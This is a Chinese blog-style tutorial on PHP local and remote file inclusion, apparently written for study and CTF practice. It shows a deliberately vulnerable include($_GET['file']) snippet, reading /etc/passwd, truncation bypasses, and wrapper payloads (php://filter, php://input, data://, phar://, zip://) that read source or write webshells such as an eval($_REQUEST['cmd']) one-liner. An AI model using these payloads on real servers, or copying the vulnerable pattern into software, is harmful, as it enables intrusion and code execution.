文件包含
文件包含給開發人員帶來了極大的便利,當網站需要一樣的頁面或模板時,直接包含需要的網頁,就沒必要重復編寫代碼,且需要更改頁面的時候,只需修改包含的頁面,帶來極大的便利的同時,也帶了巨大的威脅
在PHP中文件包含函數分為四個
require() require_once() include() include_once()
其中require和include的區別是,require出現錯誤的時候,會直接報錯并退出程序的執行,而include包含的過程中如果出現錯誤,會拋出一個警告,程序繼續正常運行。
require_once和include_once則只包含一次
不管它們里面包含的是什么,圖片也好,文本也好,都會被函數當成PHP代碼解析,所以文件包含運用不當會給服務器帶來極大的威脅
文件包含分為兩類,即本地文件包含LFI(Local File Inclusion)和遠程文件包含RFI (Remote File Inclusion)
本地包含就可以包含服務器本地的文件
遠程文件包含可以包含遠程的文件,且遠程文件包含危害性比本地包含危害還大
遠程文件包含還需要PHP配置文件中打開以下兩個配置,但是從PHP5.2開始allow_url_include默認為Off
allow_url_fopen = On allow_url_include = On
比如我們有個代碼,因為沒有任何的過濾機制,導致可以任意的進行本地文件包含
<?php include($_GET['file']); ?>
可以包含一些敏感信息如/etc/passwd,如果上傳了圖片馬,則可以直接包含利用
遠程文件包含測試,包含遠程服務器的1.txt, 其中1.txt內容為 <?php phpinfo()?>
一些繞過方式和技巧
1、%00繞過
但是受magic_quotes_gpc和addslashes等函數的過濾,同時PHP 5.3之后版本全面修復
現在代碼修改這樣,只能用html,
<?php include($_GET['file'].html); ?>
但是可以用%00來截斷
2、路徑長度截斷
條件:windows OS,點號需要長于256;linux OS 長于4096
Windows下目錄最大長度為256字節,超出的部分會被丟棄
Linux下目錄最大長度為4096字節,超出的部分會被丟棄。
但是本地測試失敗
3、點號截斷
條件:windows OS,點號需要長于256
同樣本地測試失敗(求懂得大佬留言)
遠程文件包含繞過
測試代碼
<?php include($_GET['file'].html); ?>
用?進行繞過
引用《代碼審計:企業級Web代碼安全架構》訪問http://remotehost/1.txt和http//remotehost/1.txt?.php返回結果是一樣的,webserver會把?之后的內容當成請求參數,txt不在webserver里面解析,參數對訪問1.txt返回內容不影響,實現偽截斷
同樣的測試%23也可以
下面介紹一些PHP偽協議
文件包含常常便隨著php偽協議,也CTF常用套路
1、php://filter 可以對文件進行以base64的形式讀取
需要allow_url_include=on
常用語法
?file=php://filter/convert.base64-encode/resource=xxx.php
測試
在用base64解碼就即可獲得源代碼
利用php://filter寫入
在這個源碼中,如果在后門寫入php代碼,不管怎么樣,一開始就被exit掉了,無法繼續執行后面的php代碼
<?php $content = '<?php exit; ?>'; $content .= $_GET['txt']; file_put_contents($_GET['file'], $content); ?>
我們可以用php://filter寫入base64的解碼
構造
http://localhost/test.php?txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==&file=php://filter/write=convert.base64-decode/resource=shell.php
其中PD9waHAgcGhwaW5mbygpOyA/Pg==是base64后的 <?php phpinfo(); ?>,在前面加個a或任意字母用來混淆前面的代碼(也就是 <?php exit; ?>)
然后利用php://filter/write寫入并用base64解碼出來,這樣就成功繞過前面的限制寫入文件
2、php://input 可以進行代碼執行,寫入木馬,利用POST傳參
需要allow_url_fopen 和 allow_url_include=on
CTF套路 碰到file_get_contents函數可以用php://input進行繞過
這里測試 寫入一句話,在www目錄下生成shell.php文件
3、file:// 可以讀取系統文件
4、data://偽協議 數據流封裝器
利用了流的概念,和php://input類似,同樣可以造成代碼執行
?file=data:text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,執行代碼base64加密后
5、phar://
不管后綴是什么,都會當做壓縮包來解壓,PHP > =5.3.0 壓縮包需要是zip協議壓縮,rar不行
首先先準備一句話木馬,然后把它壓縮,在修改成.jpg,然后利用phcar解析
它會把.jpg解壓成.php
正常解壓需要知道解壓后的文件名字
6、zip://
可以訪問壓縮文件中的子文件,且不需要指定后綴名
先準備一個.txt文件,里面的內容為 <?php eval($_REQUEST['cmd']);?>,然后進行壓縮,這里壓縮成test.zip,上傳到www目錄下面
然后用zip偽協議進行命令執行
格式: zip://壓縮包名#壓縮包子文件名
以上內容參考
https://www.freebuf.com/articles/web/182280.html
https://blog.csdn.net/qq_33020901/article/details/82684483
總結
- 上一篇: 人脸表情识别人脸表情识别系统
- 下一篇: 包饺子为什么要放鸡蛋?